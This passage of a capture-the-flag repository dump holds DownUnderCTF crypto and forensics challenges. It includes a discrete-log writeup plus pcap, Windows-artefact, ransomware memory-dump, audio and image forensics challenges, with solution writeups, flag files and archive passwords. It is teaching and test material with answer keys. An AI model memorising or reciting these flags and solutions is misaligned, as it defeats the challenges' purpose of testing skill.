$(x, y)$, we want to find $(x', y')$ such that $(x, y) \\\\cdot (x', y') = (1, 0)$. Let $(x', y') = (x + 2y, -y)$. Then\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    (x, y) \\\\cdot (x', y') &= (x, y) \\\\cdot (x + 2y, -y) \\\\\\\\\\n\",\n    \"        &= (x(x + 2y) - Dy^2, -xy + (x + 2y)y - 2y^2) \\\\\\\\\\n\",\n    \"        &= (x^2 + 2xy - Dy^2, -xy + xy + 2y^2 - 2y^2) \\\\\\\\\\n\",\n    \"        &= (1, 0)\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"So $(x, y)^{-1} = (x + 2y, -y)$.\\n\",\n    \"\\n\",\n    \"Another advantage of figuring out inverse elements is that you can solve the challenge without finding the isomorphism to $\\\\mathbb{F}_{p^2}$ by _guessing_ that the order is $p+1$ since it is smooth, and then implementing Pohlig-Hellman and BSGS to use the addition, multiplication and inverse operations.\\n\",\n    \"\\n\",\n    \"## References\\n\",\n    \"\\n\",\n    \"[1] [Elliptic Curve Public Key Cryptosystems - Menezes 93](https://link.springer.com/content/pdf/10.1007%2F978-1-4615-3198-2.pdf)\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"disciplinary-palace\",\n   \"metadata\": {},\n   \"source\": []\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 3\",\n   \"language\": \"python\",\n   \"name\": \"python3\"\n  },\n  \"language_info\": {\n   \"codemirror_mode\": {\n    \"name\": \"ipython\",\n    \"version\": 3\n   },\n   \"file_extension\": \".py\",\n   \"mimetype\": \"text/x-python\",\n   \"name\": \"python\",\n   \"nbconvert_exporter\": \"python\",\n   \"pygments_lexer\": \"ipython3\",\n   \"version\": \"3.9.2\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 5\n}\n"
  },
  {
    "path": "crypto/yadlp/solve/writeup.md",
    "content": "This challenge follows a similar structure to a commonly seen style of crypto CTF challenges that involve solving the discrete logarithm problem in some group other than the usual $(\\mathbb{Z}/p\\mathbb{Z})^\\times$. The general approach is to figure out some information about what the group elements are like, and then try to find an isomorphism from the group to a group where we can easily solve the discrete logarithm problem.\n\n## Group Structure Part I\n\nWe'll see that the group we are dealing with in the challenge is the set of points on some hyperbola over $\\mathbb{F}_p$. Although the operations defined in the handout code are called \"addition\" and \"multiplication\", it'll be helpful to use multiplication and exponentiation notation. When we say \"elements\", we usually mean points on the hyperbola, which are represented as tuples $(x, y) \\in \\mathbb{F}_p \\times \\mathbb{F}_p$ with addition operation defined as:\n\n$$\n(x_1, y_1) \\cdot (x_2, y_2) = (x_1 x_2 + D y_1 y_2, x_1 y_2 + x_2 y_1 + 2 y_1 y_2)\n$$\n\nThe `rand_element` function gives us even more information about elements in this group. In fact, we can use it to get an explicit relation that all elements satisfy. The function first generates a random $x \\in \\mathbb{F}_p$, then computes $y$ as\n\n$$\ny = \\frac{x + \\sqrt{x^2 (D+1) - D}}{D}\n$$\n\nRearranging, we get\n\n$$\n\\begin{aligned}\n    (Dy - x)^2 &= x^2(D+1) - D \\\\\n    \\implies D^2 y^2 - 2Dxy + x^2 &= Dx^2 + x^2 - D \\\\\n    \\implies Dx^2 + 2Dxy - D^2 y^2 &= D \\\\\n    \\implies x^2 + 2xy - Dy^2 &\\equiv 1 \\pmod p \\qquad \\text{since $D \\neq 0$}\n\\end{aligned}\n$$\n\nIt can be checked that the set of solutions to this equation, equipped with addition operation above indeed does form a group. We'll call this group $\\mathcal{H}$.\n\nDiophantine equations of the form $x^2 - Dy^2 = 1$ are known as Pell equations and are well documented in the literature. We'll see later that the equation we found from the `rand_element` can be written as a Pell equation, and use that for analysing the group even more.\n\n## Challenge Analysis\n\nFor now we'll take a look at how the flag is hidden and what we'll need to recover it. The 48 byte flag is broken up into 6 blocks of 8 bytes each. These blocks are represented as the integers $m_1, \\ldots, m_6$. Then, for some randomly generated elements $g_1, \\ldots, g_6$, the value $c = g_1^{m_1} \\cdots g_6^{m_6}$ is computed.\n\nGiven $c$ and the $g_i$, the goal is to recover the $m_i$. This is known as the t-multiple discrete logarithm problem, and in this case, we can solve it by solving the discrete logarithm problem in $\\mathcal{H}$, combined with lattice techniques.\n\nLet $q$ be the order of $\\mathcal{H}$ and let $g$ be a generator of $\\mathcal{H}$ (we will see later that $\\mathcal{H}$ is cyclic). Define the discrete logarithm to the base $g$ as $\\log_g : \\mathcal{H} \\rightarrow \\mathbb{Z}_q$, that, for any $h \\in \\mathcal{H}$, gives us a value $x = \\log_g(h)$ such that $g^x = h$. It can be shown that this map is a homomorphism, so $\\log_g(h_1 h_2) = \\log_g(h_1) + \\log_g(h_2)$. Therefore,\n\n$$\n\\begin{aligned}\n    \\log_g(c) &= \\log_g(g_1^{m_1} \\cdots g_6^{m_6}) \\\\\n    \\log_g(c) &= \\log_g(g_1^{m_1}) + \\cdots + \\log_g(g_6^{m_6}) \\\\\n    \\log_g(c) &= m_1\\log_g(g_1) + \\cdots + m_6 \\log_g(g_6) \\\\\n\\end{aligned}\n$$\n\nSince we're working in $\\mathbb{Z}_q$, we can equivalently write\n\n$$\n\\log_g(c) \\equiv m_1\\log_g(g_1) + \\cdots + m_6\\log_g(g_6) \\pmod q\n$$\n\nBut since the $m_i$ are relatively small (~62 bits) compared to $q$ (which we will determine later), we can solve for the $m_i$ using lattice techniques. Specifically, consider the lattice generated by the rows of the matrix\n\n$$\n\\begin{bmatrix}\n    \\log_g(g_1) & 1 \\\\\n    \\log_g(g_2) & & 1 \\\\\n    \\vdots & & & \\ddots \\\\\n    \\log_g(g_6) & & & & 1 \\\\\n    \\log_g(c) & & & & & 1 \\\\\n    q\n\\end{bmatrix}\n$$\n\nNotice that $m_1$ times the first row, plus $m_2$ times the second row, etc. take $1$ times the seventh row, and an appropriate multiple of the last row, gives the short vector\n\n$$\n(0, 2^{62}, 2^{62}, 2^{62}, 2^{62}, 2^{62}, 2^{62}, -1)\n$$\n\nwhich can be found with lattice basis reduction algorithms such as LLL.\n\n## Group Structure Part II\n\n### Group Order\n\nAll we need left to solve the challenge is a way to solve the discrete logarithm problem in $\\mathcal{H}$. Determining the group order is a good first step as we could use it to try and see if there is an isomorphism between $\\mathcal{H}$ and an additive group of integers of the same order where the discrete logarithm is trivially solved by division. However, it turns out that the order of $\\mathcal{H}$ is $p+1$ and that $\\mathcal{H}$ is isomorphic to the cyclic subgroup of $\\mathbb{F}_{p^2}$ of order $p+1$. We follow a similar approach to [1] for the proof.\n\n---\n\n_**Claim.**_ Let $\\mathcal{H} \\subset \\mathbb{F}_p \\times \\mathbb{F}_p$ be the set of solutions to the equation\n\n$$\nx^2 + 2xy - Dy^2 \\equiv 1 \\pmod p\n$$\n\nAssume that $\\left(\\dfrac{D+1}{p}\\right) = -1$ (this is true for the challenge parameters). Then, $\\mathcal{H} \\cong S$ where $S \\leq \\mathbb{F}_{p^2}$ is the cyclic subgroup of $\\mathbb{F}_{p^2}$ of order $p+1$.\n\n_**Proof.**_ First, note that $(x+y)^2 - (D+1)y^2 = x^2 + 2xy - Dy^2$, so it suffices to show that the set of solutions to the equation $(x+y)^2 - (D+1)y^2 \\equiv 1 \\pmod p$ (equipped with the addition operation as defined above) is isomorphic to $S$. Let $f(W) = W^2 - (D+1)$. Note that $f(W)$ is irreducible as it is of degree 2 and has no roots, since $D+1$ has no square in $\\mathbb{F}_p$ by assumption. Therefore $\\mathbb{F}_{p^2} \\cong \\mathbb{F}_p[W]/\\langle f(W) \\rangle$. Now, if $\\alpha \\in S$, then $\\alpha^{p+1} = 1$ (since $S$ has order $p+1$). But we can write $\\alpha = r + sW$ for $r,s \\in \\mathbb{F}_p$. So,\n\n$$\n\\begin{aligned}\n    \\alpha^{p+1} &= (r + sW)^p (r + sW) \\\\\n                 &= (r^p + s^pW^p)(r + sW) &&\\quad (x+y)^p = x^p + y^p \\text{ for all } x, y \\in \\mathbb{F}_p \\\\\n                 &= (r + sW^p)(r + sW)     &&\\quad x^{p-1} = 1 \\text{ for all } x \\in \\mathbb{F}_p \\\\\n                 &= (r - sW)(r + sW)       &&\\quad W^p = W(W^2)^{\\frac{p-1}{2}} = W(D+1)^{\\frac{p-1}{2}} = -W \\\\\n                 &= r^2 - s^2 W^2 \\\\\n                 &= r^2 - (D+1)s^2         &&\\quad W^2 = D+1\n\\end{aligned}\n$$\n\nSo, if we take $r = x+y$ and $s = y$, then we see that $\\alpha^{p+1} = 1 = (x+y)^2 - (D+1)y^2$. Therefore, we have the bijection $\\varphi : \\mathcal{H} \\rightarrow S, (x, y) \\mapsto (x+y) + yW$. To see that this is a homomorphism, let $(x_1, y_1), (x_2, y_2) \\in \\mathcal{H}$. Then\n\n$$\n\\begin{aligned}\n    \\varphi((x_1, y_1) \\cdot (x_2, y_2)) &= \\varphi((x_1 x_2 + D y_1 y_2, x_1 y_2 + x_2 y_1 + 2 y_1 y_2)) \\\\\n            &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + (D+2) y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W\n\\end{aligned}\n$$\n\nBut\n\n$$\n\\begin{aligned}\n    \\varphi((x_1, y_1)) \\varphi((x_2, y_2)) &= ((x_1 + y_1) + y_1 W)((x_2 + y_2) + y_2 W) \\\\\n            &= (x_1 + y_1)(x_2 + y_2) + (x_1 + y_1) y_2 W + (x_2 + y_2) y_1 W + y_1 y_2 W^2 \\\\\n            &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W + (D+1) y_1 y_2 \\\\\n            &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + (D+2) y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W\n\\end{aligned}\n$$\n\nSo we have $\\varphi((x_1, y_1) \\cdot (x_2, y_2)) = \\varphi((x_1, y_1)) \\varphi((x_2, y_2))$.\n\nTherefore $\\varphi$ is an isomorphism, and $\\mathcal{H} \\cong S$.\n\n---\n\nIf we take a look at the actual values in the challenge, we'll see that $p+1$ is smooth, with the largest factor being 32 bits! This is a hint that we're on the right path, since we'll be able to solve the discrete logarithm problem in a reasonable time with Pohlig-Hellman.\n\n### Inverse Elements\n\nBy this point, we've pretty much already solved the challenge, but as a bonus, we can find the inverse elements of $\\mathcal{H}$. Although the solution script doesn't do this, this has the advantage of speed over using the isomorphism found above since the operations are slightly faster (than operations in $\\mathbb{F}_{p^2}$). Recall the addition formula\n\n$$\n(x, y) \\cdot (x', y') = (xx' + Dyy', xy' + x'y + 2yy')\n$$\n\nThe identity element is clearly $(1, 0)$, so to find the inverse element of $(x, y)$, we want to find $(x', y')$ such that $(x, y) \\cdot (x', y') = (1, 0)$. Let $(x', y') = (x + 2y, -y)$. Then\n\n$$\n\\begin{aligned}\n    (x, y) \\cdot (x', y') &= (x, y) \\cdot (x + 2y, -y) \\\\\n        &= (x(x + 2y) - Dy^2, -xy + (x + 2y)y - 2y^2) \\\\\n        &= (x^2 + 2xy - Dy^2, -xy + xy + 2y^2 - 2y^2) \\\\\n        &= (1, 0)\n\\end{aligned}\n$$\n\nSo $(x, y)^{-1} = (x + 2y, -y)$.\n\nAnother advantage of figuring out inverse elements is that you can solve the challenge without finding the isomorphism to $\\mathbb{F}_{p^2}$ by _guessing_ that the order is $p+1$ since it is smooth, and then implementing Pohlig-Hellman and BSGS to use the addition, multiplication and inverse operations.\n\n## References\n\n[1] [Elliptic Curve Public Key Cryptosystems - Menezes 93](https://link.springer.com/content/pdf/10.1007%2F978-1-4615-3198-2.pdf)\n"
  },
  {
    "path": "forensics/Thats_Not_My_Name/README.md",
    "content": "# That's Not My Name\n\n**Category:** Forensics\n\n**Difficulty:** easy\n\n**Author:** Conletz#5420\n\nI think some of my data has been stolen, can you help me?\n\n\n**Attached files:**\n- ./publish/notmyname.pcapng (sha256: 86B5E2F171191A7D7F28B7A9171AFFE929061ED9F6D10A3EDF5213EF486079E3)\n"
  },
  {
    "path": "forensics/Thats_Not_My_Name/challenge/flag.txt",
    "content": "DUCTF{c4t_g07_y0ur_n4m3}"
  },
  {
    "path": "forensics/Thats_Not_My_Name/challenge.yml",
    "content": "version: \"0.1\"\nid: thats-not-my-name\nname: That's Not My Name\ncategory: forensics\ndescription: |\n  I think some of my data has been stolen, can you help me? \n\n  Author: Conletz#5420\n\ntags:\n  - easy\n\nfiles:\n  - ./challenge/notmyname.pcapng.7z\n\nflags:\n  - DUCTF{c4t_g07_y0ur_n4m3}\n"
  },
  {
    "path": "forensics/Thats_Not_My_Name/writeup.md",
    "content": "# Solution\n1. We've been provided with a PCAP file, and based off the challenge has been led to believe some data exfiltration is at play. First thing that comes to mind for that topic is DNS exfiltration and tunneling. To check this, we can search for unusally long dns queries in wireshark\n```\ndns && dns.qry.name.len > 35\n```\n2. After running that search there's plenty of traffic that seems ordinary. However, by scrolling down further we can start to see a large amount of traffic to a suspicious domain and a different IP than the rest of the DNS traffic\n```\nqawesrdtfgyhuj.xyz | 3.24.188.205\n```\n3. By having a look at the UDP stream, we're able to see a large amount of back and forth traffic with the same stream, which is unsual for ordinary DNS traffic. To investigate further, we can use the commandline equivalent of wireshark - tshark, to extract all queries going to this domain and save them to a file called queries.txt .\n```\ntshark -r notmyname.pcapng -T fields -e dns.qry.name -Y \"dns.qry.name contains qawesrdtfgyhuj.xyz\" > queries.txt\n```\n4. Based on the outputs of the file, the subdomains appear to be hexed, so next step is to remove the domain and dots from the queries and unhex the remaining contents. To remove the extras from the file, we can use the following commands in vim\n```\n:%s/qawesrdtfgyhuj.xyz//g\n:%s/\\.//g\n```\n\n5. To unhex the file, you can write your own python script with hexlify or your personal preference, or run the file through an online tool called 'CyberChef' to change the data to ascii.\n\n6. By running the resulting data through binwalk, we can see there's a number of png files that were delivered through to the server throughout the tunnels lifetime. However, first let's check the data we have available to us by searching for the flag one of the following ways:\n```\nFrom command line: egrep -a DUCTF{ unhexed.txt\nFrom vim: /DUCTF{\n```\n7. Here we actually found the flag within the data stream itself.\n```\nDUCTF{c4t_g07_y0ur_n4m3}\n```\n"
  },
  {
    "path": "forensics/The_File_Is_Lava/README.md",
    "content": "# The File is Lava\n\n**Category:** Forensics\n\n**Difficulty:** Medium\n\n**Author:** TheDone\\*#2152\n\nAcme Inc. has found that its internal files have been leaked to several successful phishing attacks.\n\nA new shared workstation recently had company files copied onto the disk for use in the office and needs to be analysed.\n\nDFIR specialists have found no evidence on other machines and need your help to investigate this workstation.\n\nSince COVID-19 has closed the office, find the forensic image here - https://mirror.aarnet.edu.au/pub/DownUnderCTF/\n"
  },
  {
    "path": "forensics/The_File_Is_Lava/WRITEUP.md",
    "content": "# Challenge writeup\n\n### Scenario:\n\nForensic investigators believe this machine might have been involved to perform data exfiltration. \n\nThe method used here is a straightforward way to go about the investigation. Parts of this can be scripted if the player is advanced enough to know what they are looking for.\nOther artefacts may also be used and other tools can be used to gather the same information.\nThe idea behind this ctf is not based around a tool, but rather the logic of finding relevant artefacts and then applying logical thinking to spot anomalies. \n\nYou are told that the machine is related to an incident in where ***data exfiltration*** was performed. \n\nThis suggests that files on the system were ***moved to someplace other than where they originated***.\n\nThere are many resources on how to go about windows forensics, among the best are SANS. This poster here tells us what artefacts we might look for when dealing with files that might have been accessed.\n\n## Where do I start?\n\nI will take a look at the LNK files as they pack a lot of information, especially timestamps. \n\nGenerally, someone looking to steal files will have a look at those files to know what is in them. This means they will ***access the file***. \n\nWhenever a file is accessed, a `.lnk` file is created and stays on the machine, even if the target file is deleted.  These files are located in the recents folder.\n\nI will use a tool from Eric Zimmerman called `LECmd` to parse these files in a csv format.\nThe tool is small and is a standalone executable that can be run from a USB plugged into the virtual machine. \n\nTool link: [https://ericzimmerman.github.io/#!index.md](https://ericzimmerman.github.io/#!index.md)\n\n⚠There are other tools to look at these, and you can even do so directly.\n\nGenerally, when conducting forensics on a machine, you want to avoid disturbing forensic data. I use a USB with the tool executable file on it. \n\nI just plug in the USB, and run the tool using Command prompt. The command for the tool on my machine is as follows:\n\n```bash\nLECmd.exe -d C:\\Users\\ductf\\AppData\\Roaming\\Microsoft\\Windows\\Recent -q --csv E:\n```\n\nNote: The `E:` is the location of my USB where I want the file to be outputted. \n\nThis just presents the format in a `.csv` that made it easy for me to then visually see the metadata of the `.lnk` file itself and the target file.\n\n## The Flag\n\nWhen you look at the CSV file, look for the row that has \"Executive Management report\".\n\nIf you find this row, and then scroll to see the metadata fields, namely the volume label and the localDirectory name, you will find two bits of base64 code:\n\n- RFVDVEZ7eTB1X2YwdW5kX3Ro\n- M19tMXNzMW5nX2wxbmt9\n\nPut them in cyberchef and you will have the flag of `DUCTF{y0u_f0und_th3_m1ss1ng_l1nk}`\n\nThis was written knowing where the flag is, but the user is might choose other tools these hidden metadata jems :)\n"
  },
  {
    "path": "forensics/The_File_Is_Lava/challenge.yml",
    "content": "version: \"0.1\"\r\nid: the-file-is-lava\r\nname: The File is Lava\r\ncategory: forensics\r\ndescription: |\r\n  Acme Inc. has found that its internal files have been leaked to several successful phishing attacks.\r\n\r\n  A new shared workstation recently had company files copied onto the disk for use in the office and needs to be analysed.\r\n\r\n  DFIR specialists have found no evidence on other machines and need your help to investigate this workstation.\r\n\r\n  Since COVID-19 has closed the office, find the forensic image here - https://mirror.aarnet.edu.au/pub/DownUnderCTF/\r\n\r\n  ---\r\n\r\n  To give everyone a chance to download the files, the image is encrypted and the password will be released with the second challenge drop .\r\n\r\n  The PIN code for the windows machine is `2021`.\r\n\r\n  To decrypt the file, use any bash emulator with gpg installed and use the following command:\r\n\r\n  ```\r\n  gpg --output lava.ova --decrypt The_file_is_lava.ova.gpg\r\n  ```\r\n  \r\n  Note: after the command is executed, you will be prompted with the passphrase that will be released later.\r\n\r\n  It is recommended that you use virtual box to import this machine after it has been decrypted.\r\n\r\n  Author: TheDon*#2152\r\n\r\ntags:\r\n  - medium\r\n\r\nflags:\r\n  - DUCTF{y0u_f0und_th3_m1ss1ng_l1nk}\r\n"
  },
  {
    "path": "forensics/WouldYouLikeToPlayAGame/README.md",
    "content": "# Want to play a game?\n\n**Category:** Forensics\n\n**Difficulty:** Medium\n\n**Author:** Conletz#5420\n\nMy PC has been infected! I need help finding out what happened. I managed to get a memory dump, not sure if that can help you?\n\n\nIn order to recover from this infection, I need the following information:\n   - What is the name of the malware that infected my PC?\n   - What is the name of the persistence mechanism?\n   - What folder did the infection originate from?\n\n\nFlag format: `DUCTF{malwareName_persistenceName_originatingFolderName}`\n"
  },
  {
    "path": "forensics/WouldYouLikeToPlayAGame/challenge.yml",
    "content": "version: \"0.1\"\nid: want-to-play-a-game\nname: Want to Play a Game?\ncategory: forensics\ndescription: |\n  My PC has been infected! I need help finding out what happened. I managed to get a memory dump, not sure if that can help you?\n\n  In order to recover from this infection, I need the following information:\n\n  - What is the name of the malware that infected my PC?\n  - What is the name of the persistence mechanism?\n  - What folder did the infection originate from? \n\n  Flag format: `DUCTF{lowerCaseMalwareName_persistenceName_originatingFolderName}`\n\n  ---\n\n  You can download the memory dump [here](https://mirror.aarnet.edu.au/pub/DownUnderCTF/JacobsPC.7z).\n\n  The file is password protected. The password is `I83xOkTzeljDmpMmZWTi`.\n\n  Author: Conletz#5420\n\ntags:\n  - medium\n\nflags:\n  - DUCTF{jigsaw_firefox.exe_PJxhJQ9yUDoBF1188y}\n"
  },
  {
    "path": "forensics/WouldYouLikeToPlayAGame/flag.txt",
    "content": "DUCTF{jigsaw_firefox.exe_PJxhJQ9yUDoBF1188y}"
  },
  {
    "path": "forensics/WouldYouLikeToPlayAGame/writeup.md",
    "content": "# Solution\n1. First step is to determine the profile and OS of the memory dump - (with volatility)\n```\nvol.py -f JacobsPC.raw imageinfo\n```\n2. Let's start by determining which processes were running at the time of the dump\n```\nvol.py -f JacobsPC.raw --profile=Win7SP1x64 pslist\n```\n3. There are a large number of processes that were running on the host, however, one immediately sticks out the most - drpbx.exe (PID 3628) - diving deeper by having a look at the dll list\n```\nvol.py -f JacobsPC.raw --profile=Win7SP1x64 dlllist -p 3628\n```\n4. This list shows 3 points of interest, the first is a strange executable file simulating dropbox - C:\\Users\\Jacob\\AppData\\Local\\Drpbx\\drpbx.exe - the other two points of interest are CRYPTBASE.dll and CRYPTSP.dll. Whilst these are standard Windows dll's, these two in combination are quite common among Windows ransomware.\n\n5. A quick google search for drpbx.exe leads to Jigsaw ransomware. The original process that is utilised by this ransomware is drpbx.exe, to maintain persistence jigsaw updates the startup registry to run an executable in the users App Data folder - ...\\Roaming\\Frfx\\firefox.exe. We can confirm that this is the persistence method utilised in this case by running the following:\n```\nvol.py -f JacobsPC.raw --profile=Win7SP1x64 printkey -K \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\n```\n6. The last step in to achieve the flag is to determine the originating folder name where the infection began. For this, we can have a look at the 'handles' for the drpbx.exe process.\n```\nvol.py -f JacobsPC.raw --profile=Win7SP1x64 handles -p 3628 -t file\n```\n7. By filtering on File handles we can see files and folders related to the process. There is one folder early on in the processes memory stream that is different to the others - \\Device\\HarddiskVolume2\\Users\\Public\\Videos\\Sample Videos\\PJxhJQ9yUDoBF1188y - this is likely the folder where the ransomware was launched from.\n\nTherefore, putting these findings together the flag is:\n```\nDUCTF{jigsaw_firefox.exe_PJxhJQ9yUDoBF1188y}\n```\n"
  },
  {
    "path": "forensics/do_the_loop/README.md",
    "content": "# Do the loop!\n**Category:** misc\n\n**Difficulty:** easy\n\n**Author:** Yo_Yo_Bro\n\nDo the loop doop doop...\n\n**Flag Format:**\nSTRING you end up with after solving challenge,case insensitive.\n\n**Attached files:**\n- ./publish/monorail.wav (sha256: D04502AEC1643C6F79FCB01491A0A3FBC4090965E833FFB54D2DF95DFA7FB68D)\n"
  },
  {
    "path": "forensics/do_the_loop/challenge/flag.txt",
    "content": "ICOULDLISTENTOTHISONLOOPALLDAY\nI COULD LISTEN TO THIS ON LOOP ALL DAY"
  },
  {
    "path": "forensics/do_the_loop/challenge.yml",
    "content": "version: \"0.1\"\nid: monorail\nname: Do the loop!\ncategory: forensics\ndescription: |\n  \"Do the loop doop doop...\"\n  \n  Flag format: The STRING you end up with after solving challenge, case insensitive.\n\n  Author: QUTWH\n\nflags:\n  - {\n      type: \"static\",\n      content: \"ICOULDLISTENTOTHISONLOOPALLDAY\",\n      data: \"case_insensitive\",\n  }\n\n  - {\n      type: \"static\",\n      content: \"I COULD LISTEN TO THIS ON LOOP ALL DAY\",\n      data: \"case_insensitive\",\n  }\n\ntags:\n  - easy\n\nfiles:\n  - ./challenge/monorail.wav\n"
  },
  {
    "path": "forensics/do_the_loop/writeup.md",
    "content": "# Do the loop!\nWe are provided with monorail.wav, an catchy tune that sounds like it has Morse Code overlaid on it\n\nI personally use Audacity when doing any form of Morse Code related challenge as it allows me to clearly visual any spaces between words.\n\nTechnical Details: 1000hz 25wpm\n\nWe end up with the following Morse Code:\n\n.. -.-. --- ..- .-.. -.. .-.. .. ... - . -. - --- - .... .. ... --- -. .-.. --- --- .--. .- .-.. .-.. -.. .- -.--\n\nUpon converting that to English we end up with the FLAG:\nICOULDLISTENTOTHISONLOOPALLDAY"
  },
  {
    "path": "forensics/how-to-pronounce-gif/README.md",
    "content": "# How to pronounce GIF?\n\n**Category:** misc\n\n**Difficulty:** Easy\n\n**Author:** xXl33t_h@x0rXx\n\nOur machine that makes QR Codes started playing up then it just said \"PC LOAD LETTER\" and died. This is all we could recover...\n\n**Attached files:**\n\n- ./challenge/challenge.gif (sha256: 26e6aab55895e7ead1ffbdaa3555a16edd792aff688f4b2dbe2852913b346177)\n\n\n"
  },
  {
    "path": "forensics/how-to-pronounce-gif/WRITEUP.md",
    "content": "# How to pronounce GIF?\n\nThe gif is moving fast, while you could try to record the screen or load the gif into an graphics application to see all of the frames, the quickest method would be to use online tools to extract all of the frames from the gif. An example that worked well is: [https://ezgif.com/split](https://ezgif.com/split)\n\nExtracting all of these frames (so long as you did them in order) you will notice that there are 10 sets of QR Codes, either due to the 10 \"starts\" or QR codes or that each is a different style and/or colour.\n\nOne you've identified the 10 different QR Codes you can script the joining of image 0, 10, 20, 30, ... , 110 makes up a single QR Code, then continue for the next 9 QR Codes. Of course, you could also manually stitch these together by hand if your scripting would be slower...though the learning experience from scripting this is really the goal!\n\nThe QR Codes in order:\n\n1. bit.ly link to Youtube how to pronounce Gif\n2. Text saying the princess is in another castle\n3. bit.ly link to Youtube with Jimmy Barnes screaming for 10 hours\n4. leetspeak saying \"follow the white rabbit\"\n5. bit.ly to Youtube rickroll\n6. ascii art of a rabbit (hopefully hint that it's next...)\n7. first half of base64 flag (RFVDVEZ7YU1)\n8. bit.ly link to youtube All Your Base (base64 hint)\n9. second half of base64 flag (fMV9oYVhYMHJfbjB3P30=)\n10. ascii art of a shocked rabbit\n\nThe flag \"RFVDVEZ7YU1fMV9oYVhYMHJfbjB3P30=\" should be quickly identified as base64 due to the characters used (uppercase, lowercase, 0-9, =\\) or the fact that it ends with an equals sign (base64 can end with 0, 1 or 2 equal signs, used as a kind of padding to make sure decoding works). Decoding this (a number of ways you can do this, though a great online site is [https://www.base64decode.org/](https://www.base64decode.org/)) will give you the flag.\n\nHope you enjoyed it!\n\n---\n\n## Flag\n\nDUCTF{aM_1_haXX0r_n0w?}"
  },
  {
    "path": "forensics/how-to-pronounce-gif/challenge.yml",
    "content": "version: \"0.1\"\nid: how-to-pronounce-gif\nname: How to pronounce GIF\ncategory: forensics\ndescription: |\n  Our machine that makes QR Codes started playing up then it just said \"PC LOAD LETTER\" and died. This is all we could recover...\n \n  Author: xXl33t_h@x0rXx\n\ntags:\n  - easy\n\nfiles:\n  - ./challenge/challenge.gif\n\nflags:\n  - DUCTF{aM_1_haXX0r_n0w?}\n"
  },
  {
    "path": "forensics/retro/README.md",
    "content": "# Retro\n\n**Category:** misc\n\n**Difficulty:** easy\n\n**Author:** Yo_Yo_Bro\n\nOur original logo was created in paint, I wonder what other secrets it hides?\n\n**Flag Format:**\nSTRING you end up with after solving challenge\n\n**Attached files:**\n- ./publish/og.jpg (sha256: 31D73C1F418D150E9FD75A8D2D84EF35C622F5E8F4EF7E76A766922420FD0D36)\n"
  },
  {
    "path": "forensics/retro/challenge/flag.txt",
    "content": "DUCTF{sicc_paint_skillz!}"
  },
  {
    "path": "forensics/retro/challenge.yml",
    "content": "version: \"0.1\"\nid: hipster\nname: Retro!\ncategory: forensics\ndescription: |\n  \"Our original logo was created in paint, I wonder what other secrets it hides?\"\n\n  Author: QUTWH\n\nflags:\n  - DUCTF{sicc_paint_skillz!}\n\ntags:\n  - beginner\n\nfiles:\n  - ./challenge/og.jpg\n"
  },
  {
    "path": "forensics/retro/writeup.md",
    "content": "# Retro\nWe are provided with og.jpg, and the suggestion it hides a secret..\n\nFirst thing i checked was the photos exif data and found the flag under the : Authors field\nAuthors: DUCTF{sicc_paint_skillz!}\nso the flag was:\nDUCTF{sicc_paint_skillz!}"
  },
  {
    "path": "misc/builder/README.md",
    "content": "# Builder\n\n**Category:** misc\n\n**Difficulty:** beginner\n\n**Author:** BearArms (Cybears)\n\nIn order to build your skills you need to start from a solid foundation. And the best foundations are built from bricks.\n\n**Attached files:**\n- ./challenge/builder.mpd (sha256: da57b7102372ddf6936e2f5464986890b26d5872c227207acd183ed7812886d8)\n"
  },
  {
    "path": "misc/builder/challenge/builder.mpd",
    "content": "0 FILE challenge.ldr\r\n0 Name: challenge.ldr\r\n1 0 -960 0 0 1 0 0 0 1 0 0 0 1 DUCTF_logo.ldr\r\n1 2 -320 0 0 1 0 0 0 1 0 0 0 1 3811.dat\r\n1 0 -620 -12 0 1 0 0 0 1 0 0 0 1 brace.ldr\r\n1 0 -552 -38 0 0 1 0 0 0 1 1 0 0 6184.dat\r\n1 2 -500 -8 0 0 0 1 0 1 0 -1 0 0 3956.dat\r\n1 4 -536 -38 0 0 1 0 0 0 -1 -1 0 0 3023.dat\r\n1 0 -300 -24 -40 0 0 1 0 1 0 -1 0 0 48092.dat\r\n1 0 -260 -24 30 1 0 0 0 1 0 0 0 1 3009.dat\r\n1 0 -300 -48 -40 -1 0 0 0 1 0 0 0 -1 48092.dat\r\n1 0 -210 -8 -90 0 0 -1 0 1 0 1 0 0 3623.dat\r\n1 2 -240 -8 0 0 0 -1 0 1 0 1 0 0 3956.dat\r\n1 4 -204 -38 0 0 -1 0 0 0 -1 1 0 0 3023.dat\r\n1 0 -150 -30 0 0 0 -1 0 1 0 1 0 0 6111.dat\r\n1 2 -80 -8 0 0 0 -1 0 1 0 1 0 0 3956.dat\r\n1 4 -44 -38 0 0 -1 0 0 0 -1 1 0 0 3023.dat\r\n1 2 320 0 0 1 0 0 0 1 0 0 0 1 3811.dat\r\n1 2 80 -24 -130 -1 0 0 0 1 0 0 0 -1 32064a.dat\r\n1 0 80 -14 -100 0 1 0 0 0 1 1 0 0 3705.dat\r\n1 0 80 -14 -50 1 0 0 0 1 0 0 0 1 32034.dat\r\n1 0 80 -14 20 0 1 0 0 0 1 1 0 0 3706.dat\r\n1 0 80 -14 90 0 -1 0 1 0 0 0 0 1 32013.dat\r\n1 0 80 -24 90 0 0.629 0.777 -1 0 0 0 -0.777 0.629 2780.dat\r\n1 0 80 -34 90 0 -0.777 -0.629 1 0 0 0 -0.629 0.777 32013.dat\r\n1 0 93 -14 -50 1 0 0 0 1 0 0 0 1 3707.dat\r\n1 0 193 -14 -50 0 0 1 -1 0 0 0 -1 0 32013.dat\r\n1 0 193 -24 -50 0 0 1 -1 0 0 0 -1 0 2780.dat\r\n1 0 193.278 -34 -49.886 0 0.777 0.629 1 0 0 0 0.629 